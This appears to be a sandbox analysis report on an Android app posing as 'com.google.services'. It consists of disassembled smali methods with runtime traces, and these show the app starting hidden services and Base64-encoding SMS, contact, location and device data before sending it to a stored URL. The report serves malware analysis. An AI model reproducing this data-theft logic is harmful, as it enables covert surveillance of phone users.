89invoke-virtual {v0, v1}, Lcom/google/services/PhoneService;->isConnect(Landroid/content/Context;)Z
90try_end_74: goto/16 :goto_61
91catch_75: move-exception v0
93const-string v0, "RUN\u91cc\u9762"
95const-string v1, "ERROR"
97invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: RUN\u91cc\u9762
    • msg: ERROR
98goto/16 :goto_61
99try_start_7e:
100iget-object v0, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService;
102iget-object v1, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService;
104invoke-virtual {v1}, Lcom/google/services/PhoneService;->getBaseContext()Landroid/content/Context;
105move-result-object v1
107invoke-virtual {v0, v1}, Lcom/google/services/PhoneService;->isConnect(Landroid/content/Context;)Z
109iget-object v0, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService;
110iget-boolean v0, v0, Lcom/google/services/PhoneService;->linkFlag:Z
111if-ne v0, v2, :cond_61
112new-instance v0, Lcom/google/services/PhoneService$1$1;
114invoke-direct {v0, p0}, Lcom/google/services/PhoneService$1$1;-><init>(Lcom/google/services/PhoneService$1;)V
116invoke-virtual {v0}, Lcom/google/services/PhoneService$1$1;->start()V
117try_end_97: goto/16 :goto_61
APIs
  • android.content.Context.getFilesDir
  • android.content.Context.getResources
  • android.content.res.Resources.getAssets
  • android.content.res.AssetManager.open
  • java.io.RandomAccessFile.<init>
  • java.io.InputStream.read
  • java.io.RandomAccessFile.write
  • java.lang.Exception.printStackTrace
  • android.content.Context.getFilesDir
  • java.io.File.<init>
  • java.io.File.length
  • java.io.RandomAccessFile.<init>
  • java.io.RandomAccessFile.getChannel
  • java.nio.channels.FileChannel.map
  • java.io.RandomAccessFile.close
  • java.io.InputStream.close
Strings
  • test.txt
  • m.txt
  • rw
  • r
Position Instruction Meta Information
0.parameter
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/io/IOException;
4}
5.end annotation
6.prologue
7try_start_0: new-instance v0, Ljava/io/File;
9invoke-virtual {p1}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
10move-result-object v1
12const-string v2, "test.txt"
14invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
  • Time: 112795
    • p0: /data/data/com.google.services/files
    • p1: test.txt
    • Return:
      • /data/data/com.google.services/files/test.txt
16invoke-virtual {p1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
17move-result-object v1
19invoke-virtual {v1}, Landroid/content/res/Resources;->getAssets()Landroid/content/res/AssetManager;
20move-result-object v1
22const-string v2, "m.txt"
24invoke-virtual {v1, v2}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
  • Data flow analysis:
    • fileName: m.txt
25move-result-object v1
26const/16 v2, 0x400
27new-array v2, v2, [B
28new-instance v3, Ljava/io/RandomAccessFile;
30const-string v4, "rw"
32invoke-direct {v3, v0, v4}, Ljava/io/RandomAccessFile;-><init>(Ljava/io/File;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: rw
33goto_24:
34invoke-virtual {v1, v2}, Ljava/io/InputStream;->read([B)I
35move-result v0
36const/4 v4, -0x1
37if-eq v0, v4, :cond_62
38const/4 v4, 0x0
40invoke-virtual {v3, v2, v4, v0}, Ljava/io/RandomAccessFile;->write([BII)V
  • Data flow analysis:
    • p1: 0
41try_end_2f: goto/16 :goto_24
42catch_30: move-exception v0
44invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
45goto_34: new-instance v0, Ljava/io/File;
47invoke-virtual {p1}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
48move-result-object v1
50const-string v2, "test.txt"
52invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
  • Time: 112808
    • p0: /data/data/com.google.services/files
    • p1: test.txt
    • Return:
      • /data/data/com.google.services/files/test.txt
53iput-object v0, p0, Lcom/google/services/BookPageFactory;->book_file:Ljava/io/File;
55iget-object v0, p0, Lcom/google/services/BookPageFactory;->book_file:Ljava/io/File;
57invoke-virtual {v0}, Ljava/io/File;->length()J
  • Time: 112816
    • Return:
      • 285
58move-result-wide v4
59long-to-int v0, v4
60iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I
61new-instance v0, Ljava/io/RandomAccessFile;
63iget-object v1, p0, Lcom/google/services/BookPageFactory;->book_file:Ljava/io/File;
65const-string v2, "r"
67invoke-direct {v0, v1, v2}, Ljava/io/RandomAccessFile;-><init>(Ljava/io/File;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: r
69invoke-virtual {v0}, Ljava/io/RandomAccessFile;->getChannel()Ljava/nio/channels/FileChannel;
70move-result-object v0
72sget-object v1, Ljava/nio/channels/FileChannel$MapMode;->READ_ONLY:Ljava/nio/channels/FileChannel$MapMode;
73const-wide/16 v2, 0x0
75invoke-virtual/range {v0 .. v5}, Ljava/nio/channels/FileChannel;->map(Ljava/nio/channels/FileChannel$MapMode;JJ)Ljava/nio/MappedByteBuffer;
  • Data flow analysis:
    • p1: 0
76move-result-object v0
77iput-object v0, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
78return-void
79try_start_62:
80invoke-virtual {v3}, Ljava/io/RandomAccessFile;->close()V
82invoke-virtual {v1}, Ljava/io/InputStream;->close()V
83try_end_68: goto/16 :goto_34
APIs
  • java.lang.String.getBytes
  • java.lang.String.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.RuntimeException.<init>
Strings
  • ASCII
  • O05vIGxvY2F0aW9uIGZvdW5k
  • O21vYmlsZTpHYWxheHkgTmV4dXMsU0RLIHZlcnNpb246MTcsT1MgdmVyc2lvbjo0LjIuMSM=
  • O25vIHJlc3VsdCHlrozmr5U=
  • Tm8gbG9jYXRpb24gZm91bmQ=
  • bW9iaWxlOkdhbGF4eSBOZXh1cyxTREsgdmVyc2lvbjoxNyxPUyB2ZXJzaW9uOjQuMi4xIw==
  • bm8gcmVzdWx0IeWujOavlQ==
  • Unsupported charset:
  • ASCII is not supported!
Position Instruction Meta Information
0.parameter
1.parameter
2.annotation system Ldalvik/annotation/Throws;
3value = {
4Ljava/lang/RuntimeException;
5}
6.end annotation
7.prologue
8try_start_0:
9invoke-virtual {p0, p1}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
10try_end_3: move-result-object v0
12invoke-static {v0}, Lit/sauronsoftware/base64/Base64;->encode([B)[B
13move-result-object v0
14try_start_8: new-instance v1, Ljava/lang/String;
16const-string v2, "ASCII"
18invoke-direct {v1, v0, v2}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
  • Time: 230913
    • p0: [B@a0a45bc8
    • p0: Tm8gbG9jYXRpb24gZm91bmQ=
    • p0: 546D38676247396A59585270623234675A6D3931626D513D
    • p1: ASCII
    • Return:
      • Tm8gbG9jYXRpb24gZm91bmQ=
  • Time: 230932
    • p0: [B@a0a84728
    • p0: bW9iaWxlOkdhbGF4eSBOZXh1cyxTREsgdmVyc2lvbjoxNyxPUyB2ZXJzaW9uOjQuMi4xIw==
    • p0: 625739696157786C4F6B6468624746346553424F5A5868316379785452457367646D567963326C76626A6F784E797850557942325A584A7A615739754F6A51754D69347849773D3D
    • p1: ASCII
    • Return:
      • bW9iaWxlOkdhbGF4eSBOZXh1cyxTREsgdmVyc2lvbjoxNyxPUyB2ZXJzaW9uOjQuMi4xIw==
  • Time: 231019
    • p0: [B@a09b6728
    • p0: bm8gcmVzdWx0IeWujOavlQ==
    • p0: 626D3867636D567A64577830496557756A4F61766C513D3D
    • p1: ASCII
    • Return:
      • bm8gcmVzdWx0IeWujOavlQ==
  • Time: 289282
    • p0: [B@a09c7168
    • p0: O25vIHJlc3VsdCHlrozmr5U=
    • p0: 4F32357649484A6C633356736443486C726F7A6D7235553D
    • p1: ASCII
    • Return:
      • O25vIHJlc3VsdCHlrozmr5U=
  • Time: 290450
    • p0: [B@a0975990
    • p0: O21vYmlsZTpHYWxheHkgTmV4dXMsU0RLIHZlcnNpb246MTcsT1MgdmVyc2lvbjo0LjIuMSM=
    • p0: 4F323176596D6C735A5470485957786865486B67546D563464584D735530524C49485A6C636E4E70623234364D54637354314D67646D567963326C76626A6F304C6A49754D534D3D
    • p1: ASCII
    • Return:
      • O21vYmlsZTpHYWxheHkgTmV4dXMsU0RLIHZlcnNpb246MTcsT1MgdmVyc2lvbjo0LjIuMSM=
19try_end_f: return-object v1
20catch_10: move-exception v0
21new-instance v1, Ljava/lang/RuntimeException;
22new-instance v2, Ljava/lang/StringBuilder;
24invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
26const-string v3, "Unsupported charset: "
28invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Unsupported charset:
29move-result-object v2
31invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
32move-result-object v2
34invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
35move-result-object v2
37invoke-direct {v1, v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
38throw v1
39catch_2a: move-exception v0
40new-instance v1, Ljava/lang/RuntimeException;
42const-string v2, "ASCII is not supported!"
44invoke-direct {v1, v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
  • Data flow analysis:
    • p0: ASCII is not supported!
45throw v1
APIs
  • android.app.Activity.onCreate
  • com.google.services.turntest.requestWindowFeature
  • com.google.services.turntest.getWindow
  • android.view.Window.setFlags
  • com.google.services.PageWidget.<init>
  • com.google.services.turntest.setContentView
  • android.graphics.Bitmap.createBitmap
  • android.graphics.Canvas.<init>
  • com.google.services.turntest.getResources
  • android.graphics.BitmapFactory.decodeResource
  • com.google.services.turntest.getBaseContext
  • com.google.services.PageWidget.setBitmaps
  • com.google.services.PageWidget.setOnTouchListener
Position Instruction Meta Information
0.parameter
1.prologue
2const/16 v1, 0x400
3const/16 v3, 0x320
4const/16 v2, 0x1e0
6invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
7const/4 v0, 0x1
9invoke-virtual {p0, v0}, Lcom/google/services/turntest;->requestWindowFeature(I)Z
  • Data flow analysis:
    • featureId: 1
11invoke-virtual {p0}, Lcom/google/services/turntest;->getWindow()Landroid/view/Window;
12move-result-object v0
14invoke-virtual {v0, v1, v1}, Landroid/view/Window;->setFlags(II)V
  • Data flow analysis:
    • flags: 1024
    • mask: 1024
15new-instance v0, Lcom/google/services/PageWidget;
17invoke-direct {v0, p0}, Lcom/google/services/PageWidget;-><init>(Landroid/content/Context;)V
18iput-object v0, p0, Lcom/google/services/turntest;->mPageWidget:Lcom/google/services/PageWidget;
20iget-object v0, p0, Lcom/google/services/turntest;->mPageWidget:Lcom/google/services/PageWidget;
22invoke-virtual {p0, v0}, Lcom/google/services/turntest;->setContentView(Landroid/view/View;)V
  • Time: 112702
    • p0: com.google.services.PageWidget@a0672d60
24sget-object v0, Landroid/graphics/Bitmap$Config;->ARGB_8888:Landroid/graphics/Bitmap$Config;
26invoke-static {v2, v3, v0}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap;
  • Data flow analysis:
    • width: 480
    • height: 800
27move-result-object v0
28iput-object v0, p0, Lcom/google/services/turntest;->mCurPageBitmap:Landroid/graphics/Bitmap;
30sget-object v0, Landroid/graphics/Bitmap$Config;->ARGB_8888:Landroid/graphics/Bitmap$Config;
32invoke-static {v2, v3, v0}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap;
  • Data flow analysis:
    • width: 480
    • height: 800
33move-result-object v0
34iput-object v0, p0, Lcom/google/services/turntest;->mNextPageBitmap:Landroid/graphics/Bitmap;
35new-instance v0, Landroid/graphics/Canvas;
37iget-object v1, p0, Lcom/google/services/turntest;->mCurPageBitmap:Landroid/graphics/Bitmap;
39invoke-direct {v0, v1}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V
40iput-object v0, p0, Lcom/google/services/turntest;->mCurPageCanvas:Landroid/graphics/Canvas;
41new-instance v0, Landroid/graphics/Canvas;
43iget-object v1, p0, Lcom/google/services/turntest;->mNextPageBitmap:Landroid/graphics/Bitmap;
45invoke-direct {v0, v1}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V
46iput-object v0, p0, Lcom/google/services/turntest;->mNextPageCanvas:Landroid/graphics/Canvas;
47new-instance v0, Lcom/google/services/BookPageFactory;
49invoke-direct {v0, v2, v3}, Lcom/google/services/BookPageFactory;-><init>(II)V
50iput-object v0, p0, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory;
52iget-object v0, p0, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory;
54invoke-virtual {p0}, Lcom/google/services/turntest;->getResources()Landroid/content/res/Resources;
55move-result-object v1
56const v2, 0x7f020001
58invoke-static {v1, v2}, Landroid/graphics/BitmapFactory;->decodeResource(Landroid/content/res/Resources;I)Landroid/graphics/Bitmap;
  • Data flow analysis:
    • id: 2130837505
59move-result-object v1
61invoke-virtual {v0, v1}, Lcom/google/services/BookPageFactory;->setBgBitmap(Landroid/graphics/Bitmap;)V
62try_start_59:
63iget-object v0, p0, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory;
65invoke-virtual {p0}, Lcom/google/services/turntest;->getBaseContext()Landroid/content/Context;
66move-result-object v1
68invoke-virtual {v0, v1}, Lcom/google/services/BookPageFactory;->openbook(Landroid/content/Context;)V
70iget-object v0, p0, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory;
72iget-object v1, p0, Lcom/google/services/turntest;->mCurPageCanvas:Landroid/graphics/Canvas;
74invoke-virtual {v0, v1}, Lcom/google/services/BookPageFactory;->wilDraw(Landroid/graphics/Canvas;)V
75try_end_69:
76iget-object v0, p0, Lcom/google/services/turntest;->mPageWidget:Lcom/google/services/PageWidget;
78iget-object v1, p0, Lcom/google/services/turntest;->mCurPageBitmap:Landroid/graphics/Bitmap;
80iget-object v2, p0, Lcom/google/services/turntest;->mCurPageBitmap:Landroid/graphics/Bitmap;
82invoke-virtual {v0, v1, v2}, Lcom/google/services/PageWidget;->setBitmaps(Landroid/graphics/Bitmap;Landroid/graphics/Bitmap;)V
84iget-object v0, p0, Lcom/google/services/turntest;->mPageWidget:Lcom/google/services/PageWidget;
85new-instance v1, Lcom/google/services/turntest$1;
87invoke-direct {v1, p0}, Lcom/google/services/turntest$1;-><init>(Lcom/google/services/turntest;)V
89invoke-virtual {v0, v1}, Lcom/google/services/PageWidget;->setOnTouchListener(Landroid/view/View$OnTouchListener;)V
90return-void
91catch_7d: move-exception v0
92goto/16 :goto_69
APIs
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.os.Bundle.<init>
  • com.google.services.AlarmService.getSms
  • android.os.Bundle.putString
  • android.content.Intent.putExtras
  • com.google.services.AlarmService.sendBroadcast
Strings
  • com.google.system.receiver
  • sms
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
3new-instance v0, Landroid/content/Intent;
5invoke-direct {v0}, Landroid/content/Intent;-><init>()V
7const-string v1, "com.google.system.receiver"
9invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.google.system.receiver
10new-instance v1, Landroid/os/Bundle;
12invoke-direct {v1}, Landroid/os/Bundle;-><init>()V
14const-string v2, "sms"
16invoke-direct {p0}, Lcom/google/services/AlarmService;->getSms()Ljava/lang/String;
17move-result-object v3
19invoke-virtual {v1, v2, v3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: sms
21invoke-virtual {v0, v1}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent;
  • Time: 230907
    • p0: Bundle[{sms=no result!}]
    • Return:
      • Intent { act=com.google.system.receiver (has extras) }
23invoke-virtual {p0, v0}, Lcom/google/services/AlarmService;->sendBroadcast(Landroid/content/Intent;)V
  • Time: 230908
    • p0: Intent { act=com.google.system.receiver (has extras) }
24return-void
APIs
  • com.google.services.turntest.getSystemService
  • android.app.ActivityManager.getRunningServices
  • java.util.List.size
  • java.util.List.get
  • android.content.ComponentName.getClassName
  • java.lang.String.equals
Strings
  • activity
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
3const/4 v3, 0x1
4const/4 v2, 0x0
6const-string v0, "activity"
8invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 169246
    • p0: activity
    • Return:
      • android.app.ActivityManager@a0a40800
9move-result-object v0
10check-cast v0, Landroid/app/ActivityManager;
11const/16 v1, 0x1e
13invoke-virtual {v0, v1}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
  • Data flow analysis:
    • maxNum: 30
14move-result-object v4
16invoke-interface {v4}, Ljava/util/List;->size()I
17move-result v0
18if-gtz v0, :cond_17
19cond_16: return v2
20cond_17: move v1, v2
21goto_18:
22invoke-interface {v4}, Ljava/util/List;->size()I
23move-result v0
24if-ge v1, v0, :cond_16
26invoke-interface {v4, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 0
27move-result-object v0
28check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
30iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
32invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
33move-result-object v0
35invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
36move-result v0
37if-ne v0, v3, :cond_32
38move v2, v3
39goto/16 :goto_16
40cond_32: add-int/lit8 v0, v1, 0x1
41move v1, v0
42goto/16 :goto_18
APIs
  • com.google.services.ScreenReceiver.isServiceRunning
  • android.content.Intent.<init>
  • com.google.services.turntest.startService
  • android.util.Log.i
Strings
  • com.google.services.PhoneService
  • \u65b0\u7684intent
  • \u4e3b\u7a0b\u5e8f\u6b63\u5728\u8fd0\u884c\uff0c\u8fd9\u6b21\u4e0d\u542f\u52a8
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
4const-string v0, "com.google.services.PhoneService"
6invoke-virtual {p0, p1, v0}, Lcom/google/services/ScreenReceiver;->isServiceRunning(Landroid/content/Context;Ljava/lang/String;)Z
  • Data flow analysis:
    • p1: com.google.services.PhoneService
7move-result v0
8if-nez v0, :cond_13
9new-instance v0, Landroid/content/Intent;
10const-class v1, Lcom/google/services/PhoneService;
12invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
14invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 169250
    • p0: Intent { cmp=com.google.services/.PhoneService }
    • Return:
      • ComponentInfo{com.google.services/com.google.services.PhoneService}
15goto_12: return-void
16cond_13:
17const-string v0, "\u65b0\u7684intent"
19const-string v1, "\u4e3b\u7a0b\u5e8f\u6b63\u5728\u8fd0\u884c\uff0c\u8fd9\u6b21\u4e0d\u542f\u52a8"
21invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: \u65b0\u7684intent
    • msg: \u4e3b\u7a0b\u5e8f\u6b63\u5728\u8fd0\u884c\uff0c\u8fd9\u6b21\u4e0d\u542f\u52a8
22goto/16 :goto_12
APIs
  • android.content.Intent.<init>
  • com.google.services.PhoneService.startService
Position Instruction Meta Information
0.prologue
1new-instance v0, Landroid/content/Intent;
2const-class v1, Lcom/google/services/AlarmService;
4invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
6invoke-virtual {p0, v0}, Lcom/google/services/PhoneService;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 230830
    • p0: Intent { cmp=com.google.services/.AlarmService }
    • Return:
      • ComponentInfo{com.google.services/com.google.services.AlarmService}
7return-void
78 Non-Executed Methods
APIs
  • java.lang.String.equals
  • android.util.Log.i
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • sms
  • contact
  • location
  • other
  • UTF-8
  • sendInfo
  • \u7f51\u7edc\u4e0d\u901a exception
  • ;
  • \u7f51\u7edc\u4e0d\u901a nullurl
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
3const/4 v0, 0x0
5iget-object v1, p0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String;
6const/4 v2, 0x0
8invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: 0
9move-result v1
10if-nez v1, :cond_161
11try_start_a:
12const-string v1, "sms"
14invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: sms
15move-result v1
16if-nez v1, :cond_2a
18const-string v1, "contact"
20invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: contact
21move-result v1
22if-nez v1, :cond_2a
24const-string v1, "location"
26invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: location
27move-result v1
28if-nez v1, :cond_2a
30const-string v1, "other"
32invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: other
33move-result v1
34if-eqz v1, :cond_39
35cond_2a:
36const-string v1, "UTF-8"
38invoke-static {p2, v1}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
39move-result-object v1
41invoke-virtual {p0, p1, v1}, Lcom/google/services/SendInfo;->run(Ljava/lang/String;Ljava/lang/String;)V
42goto_33: iget-boolean v1, p0, Lcom/google/services/SendInfo;->okFlag:Z
43if-eqz v1, :cond_d3
44const/4 v0, 0x1
45cond_38: return v0
46cond_39:
47invoke-virtual {p0, p1, p2}, Lcom/google/services/SendInfo;->run(Ljava/lang/String;Ljava/lang/String;)V
48try_end_3c: goto/16 :goto_33
49catch_3d: move-exception v1
51const-string v1, "sendInfo"
53const-string v2, "\u7f51\u7edc\u4e0d\u901a exception"
55invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: sendInfo
    • msg: \u7f51\u7edc\u4e0d\u901a exception
57const-string v1, "sms"
59invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: sms
60move-result v1
61if-eqz v1, :cond_68
62new-instance v1, Ljava/lang/StringBuilder;
64invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
66iget-object v2, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String;
68invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
69move-result-object v1
71const-string v2, ";"
73invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
74move-result-object v1
76invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
77move-result-object v1
79invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
80move-result-object v1
81iput-object v1, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String;
82cond_68:
83const-string v1, "contact"
85invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: contact
86move-result v1
87if-eqz v1, :cond_8b
88new-instance v1, Ljava/lang/StringBuilder;
90invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
92iget-object v2, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String;
94invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
95move-result-object v1
97const-string v2, ";"
99invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
100move-result-object v1
102invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
103move-result-object v1
105invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
106move-result-object v1
107iput-object v1, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String;
108cond_8b:
109const-string v1, "location"
111invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: location
112move-result v1
113if-eqz v1, :cond_ae
114new-instance v1, Ljava/lang/StringBuilder;
116invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
118iget-object v2, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String;
120invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
121move-result-object v1
123const-string v2, ";"
125invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
126move-result-object v1
128invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
129move-result-object v1
131invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
132move-result-object v1
133iput-object v1, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String;
134cond_ae:
135const-string v1, "other"
137invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: other
138move-result v1
139if-eqz v1, :cond_38
140new-instance v1, Ljava/lang/StringBuilder;
142invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
144iget-object v2, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String;
146invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
147move-result-object v1
149const-string v2, ";"
151invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
152move-result-object v1
154invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
155move-result-object v1
157invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
158move-result-object v1
159iput-object v1, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String;
160goto/16 :goto_38
161cond_d3:
162const-string v1, "sms"
164invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: sms
165move-result v1
166if-eqz v1, :cond_f6
167new-instance v1, Ljava/lang/StringBuilder;
169invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
171iget-object v2, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String;
173invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
174move-result-object v1
176const-string v2, ";"
178invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
179move-result-object v1
181invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
182move-result-object v1
184invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
185move-result-object v1
